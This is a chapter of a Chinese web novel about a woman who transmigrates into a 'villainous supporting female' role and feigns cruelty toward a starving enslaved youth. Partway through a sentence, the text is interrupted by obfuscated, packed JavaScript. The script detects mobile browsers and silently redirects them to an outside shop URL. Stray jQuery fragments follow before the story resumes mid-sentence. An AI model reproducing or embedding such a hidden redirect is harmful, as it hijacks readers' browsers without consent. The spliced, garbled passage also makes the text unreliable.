文趣网 > 其他小说 > 三个鳏夫一台戏 > 1. 喂狗
    “抬起头来。”

    跪于地者长身玉立,此时正被人掐着下颌仰面,露出一张清隽面容。

    “啪——”

    下一瞬,一掌掴来,他被打得偏过头去。

    “我肯为你赎身,是你的造化。莫要不识抬举。”

    祝安宁下巴微抬,目含睥睨,将背熟的词句念得滴水不漏。

    “摆出这副如丧考妣的模样,是想膈应谁?”

    少年的脸再度被钳住,指尖丹蔻深陷其肤。

    “进了我沈府,就要给我学会笑。”

    “什么时候学会笑了,什么时候你就有下一顿吃食。”

    少年盯着门扉开阖一言不发,墨发如瀑掩住眸中暗流。

    祝安宁径自回房,挥散仆婢,彻底腿一软,瘫倒在软榻上。

    “啊啊啊啊,怎么样怎么样?我刚表现得怎么样?我说话一点儿也没抖吧?”

    脑海里的系统连声轻哄:“特别好!宿主终于初步掌握恶毒女配的精髓了!”

    祝安宁摊卧榻上,心跳还没平复下来。脑子里全是刚刚那人的身影。

    那人的面皮白皙,还薄,她挪开手时,清晰地看见上面留了几道红印子。

    祝安宁翻过身来,盯着帐顶绣着的缠枝莲纹,脑子里乱成一锅粥。

    如今是她穿成恶毒女配的第三天,注定要被她百般蹂躏的反派终于上线了。

    沈清砚,世家公子出身,家族覆灭后充奴流放,被县令千金沈安宁看中。

    沈小姐作为恶毒女配,行事作风注定与众不同:爱一个人,就要狠狠折磨对方!

    祝安宁直呼看不懂,如今自己成了沈安宁本宁,当真欲哭无泪。

    “下一个剧情节点是什么?”她问系统。

    系统对积极干活的新宿主很满意:“反派在柴房饿到几近晕厥,女配赏他一碗馊饭,并顺便夺走了他身上的亡母遗物玉佩。”

    祝安宁:“……”

    真是好经典的美强惨桥段。

    沈安宁在剧情操控下把沈清砚当狗训,最终被剁碎了喂狗……

    怪不得原主觉醒后立马叛逃了,是她她也跑,这都什么反人类剧情。

    祝安宁揉了揉胀痛的太阳穴,到底还是唤来贴身侍女:“翠屏。”

    翠屏应声而入:“小姐有何吩咐?”

    “厨房还剩了些什么吃食?你去瞧瞧。”

    翠屏困惑,但乖乖领命而去。

    系统似有所觉:“宿主,你想做什么?”

    “我问你,恶毒女配存在的意义是什么?”

    “自然是推动剧情发展……”

    “那好,剧情节点的要求是什么?他快饿晕了,我给他送饭并抢走玉佩。对不对?”

    “对。”

    祝安宁如释重负,走到铜镜前理了理衣襟:“那就好。”

    镜中人面容清秀,杏眼圆润,偏眉目微挑,自有一股骄矜意气,让人一眼就知道这是个娇纵小姐。

    恰在此时,翠屏回报:“小姐,厨房里您没怎么动的那碗莲子羹还温着,另外还有一碟桂花糕——”

    “都拿过来。”祝安宁顿了顿,补充道,“再去找一碗馊饭来。”

    翠屏愣住了:“馊……馊饭?”

    “让你去就去,废什么话。”祝安宁瞪了她一眼,把恶毒女配的骄纵演绎得淋漓尽致。

    翠屏不敢再问,赶紧去了。

    不多时,托盘端了进来。一碗温热的莲子羹,一碟码得整整齐齐的桂花糕,还有一碗散发着淡淡酸味的馊饭——大概是厨房忘了倒掉的剩货。

    祝安宁看了看三样东西,端起那碗馊饭,转身就往外走。

    “小姐,那莲子羹和桂花糕——”翠屏在后面喊。

    “端着跟我走,我要拿去喂狗。”

    祝安宁端着馊饭,一路穿过回廊,来到柴房前。

    推门进去的瞬间,一股潮湿的霉味扑面而来。

    白天见过的少年蜷缩在角落,墨发散乱铺了满地,呼吸轻浅,几乎让人以为已经……

    祝安宁蹲下身,借着门外透进来的月光看清了他的样子。

    嘴唇皲裂起皮,颧骨微微凸起,不过才饿了两天,就已经瘦脱了相。

    少年双目紧闭,眉头微蹙,像是在忍耐什么。

    祝安宁伸出手,指尖轻轻碰了碰他的额头。

    滚烫。

    “系统,他发烧了。”祝安宁在心里说。

    “剧情设定,饿晕伴随风寒发热,合理。”

    “合理个屁。”祝安宁咬牙切齿,一个活生生的人被饿到发烧,在这个没有抗生素的年代,是可能死人的。

    她深吸一口气,把端着的馊饭放到一边,然后伸手轻轻拍了拍沈清砚的肩膀。

    “喂,”她用沈安宁那种不耐烦的语气说,“醒醒。”

    少年觉浅,瞬间睁开了眼,没有力气动弹,只能警惕地盯着她。

    祝安宁觉得此时的他就像是一只流浪的可怜小犬。

    “宿主,”系统忽然开口,语气变得古怪,“检测到您的情绪波动异常。请注意,沈清砚是纸片人,不是真实存在——”

    “闭嘴。”祝安宁在心里骂了一句。

    她稳住心神,端起那碗馊饭,在少年面前晃了晃。

    “饿了吧?”她故意把馊饭凑近了些,那股酸腐的气味弥漫开来,“想吃吗?”

    沈清砚出身名门望族冀州清河崔氏,自幼锦衣玉食,阖家被抄前是清河一带有名的翩翩君子。

    祝安宁本以为他会冷眼以待,或者恶狠狠地打翻馊饭,诸如此类。

    没想到少年见了碗里的食物,半分不在乎是否腐臭,竟是挣扎着要起身扑食!

    祝安宁看得眼眶一酸,眼疾手快将碗挪开,当着他的面起身走了几步,把馊饭尽数撒在地上。

    酸臭的米粒和汤汁泼洒在泥土和柴屑间,很快渗了下去。

    少年的视线追着那碗饭落在地上,然后缓缓移向祝安宁。似乎是捉摸不透面前的人想干什么。

    “想吃就自己爬过来。”祝安宁冷冰冰开口,居高临下看着趴在地上的人。

    少年懂了,这是她想了个新法子来折辱他。

    如若是从前的清河世子,他绝不会食嗟来之食。更何况是如此带有明目张胆的羞辱意味的一碗馊饭。

    但……还有未尽之事等着他去做,他必须活着。

    少年动了,匍匐着身子前进,眼见着就要去舔舐地面上的米粒。

    祝安宁瞳孔微微震动。

    她的手伸了出去,动作快过了大脑,一把抓住沈清砚的头发

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788182|210249||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,将他从碗边拽开。

    对方的发丝缠绕在她的指间,她的手指微微有些发抖,但手上的力道丝毫不减。

    沈清砚被迫仰起头,脖颈拉出一道苍白而脆弱的弧线。

    祝安宁早已看不下去,嘴上还不得不嘲讽:“本小姐吃剩的东西,赏给狗,狗都不吃。倒给你,你倒是上赶着爬过来舔?真是贱骨头。”

    祝安宁松开他,拿出手帕擦拭双手,吩咐翠屏把另两样吃食端过来。

    少年看着面前一看就精致可口的糕点和羹汤,一时更摸不着头脑。

    祝安宁已经擦干净了手,把手帕收好,转身就要走:“这才是本小姐赏你的,临安县虽不大,县令府里倒也没穷酸到连喂狗的东西都没有。”

    狗。少年听懂了,面前自称小姐的女子要把自己当狗养。

    祝安宁走到柴房门口,想起什么似的,又走回来蹲下身。

    “你叫什么名字?”她才想起来,作为“沈安宁”,她还没来得及问他的名字。

    “崔二。”崔家二公子,崔玉舟。

    “难听。”祝安宁似乎很嫌弃这个名字,“以后你是我的狗。狗应该随主人姓。”

    她拿出自己的手帕,一点点擦去少年脸上的灰,明明刚刚还趾高气扬不可一世,现在忽然又动作轻柔似水:“你叫沈清砚。记住。”

    这也是原著剧情。沈安宁霸道地给反派赐名,“沈清砚”完完全全和他本来的名字没有半分关系。

    只是不知道沈清砚为什么一直用这个名字用到了最后,还是临终之际才透露出自己的本名。

    祝安宁攥着手帕的手越来越向下,眼见就要探入衣领,沈清砚忍不住想制止,身体往后仰:“……谢小姐赐名。”

    祝安宁理所当然地无视了对方有些抗拒的动作,右手直接探入领口,触到了微凉的皮肤和凸起的锁骨。

    沈清砚的身体明显僵了一瞬,但很快又恢复了那种无声的沉寂。

    祝安宁指尖碰到一根细绳。

    她猛地一扯,细绳断裂,一块温热的玉佩落入掌心。

    玉佩成色极好,通体莹润,即便在昏暗的柴房里也泛着柔和的光泽,正面刻着一个篆体的“崔”字,背面是一枝清隽的兰草。

    沈清砚的目光终于有了变化。

    祝安宁却没有看他。

    她站起身,将玉佩在指间翻了个面,漫不经心地端详了两秒,嗤笑一声:“什么破烂玩意儿,也值得贴身藏着。”

    眼睁睁看着祝安宁将玉佩塞进手帕就要带走,沈清砚撑地的手青筋暴起,握紧拳头。

    祝安宁裙摆扫过地面,淡声吩咐翠屏:“等下把他弄干净,再找个郎中来,不然看着太糟心。”

    没有说把人挪出来,也没有说什么时候再给人送饭。

    祝安宁完成了任务,抬脚欲走,却感到一阵阻力。

    她低眸看去,沈清砚死死抓着了她的裙角。

    方才明明见了碗馊饭都恨不得扑上去,怎么现如今有了能入口的吃食反而不动了?

    祝安宁疑惑,而面前的少年此时仰起脸,露出刚被擦净的白玉面来。

    “小姐,”沈清砚缓缓勾起嘴角,“您说的,‘什么时候学会笑,什么时候就有下一顿吃食’。”

    “我笑得,您还满意否?”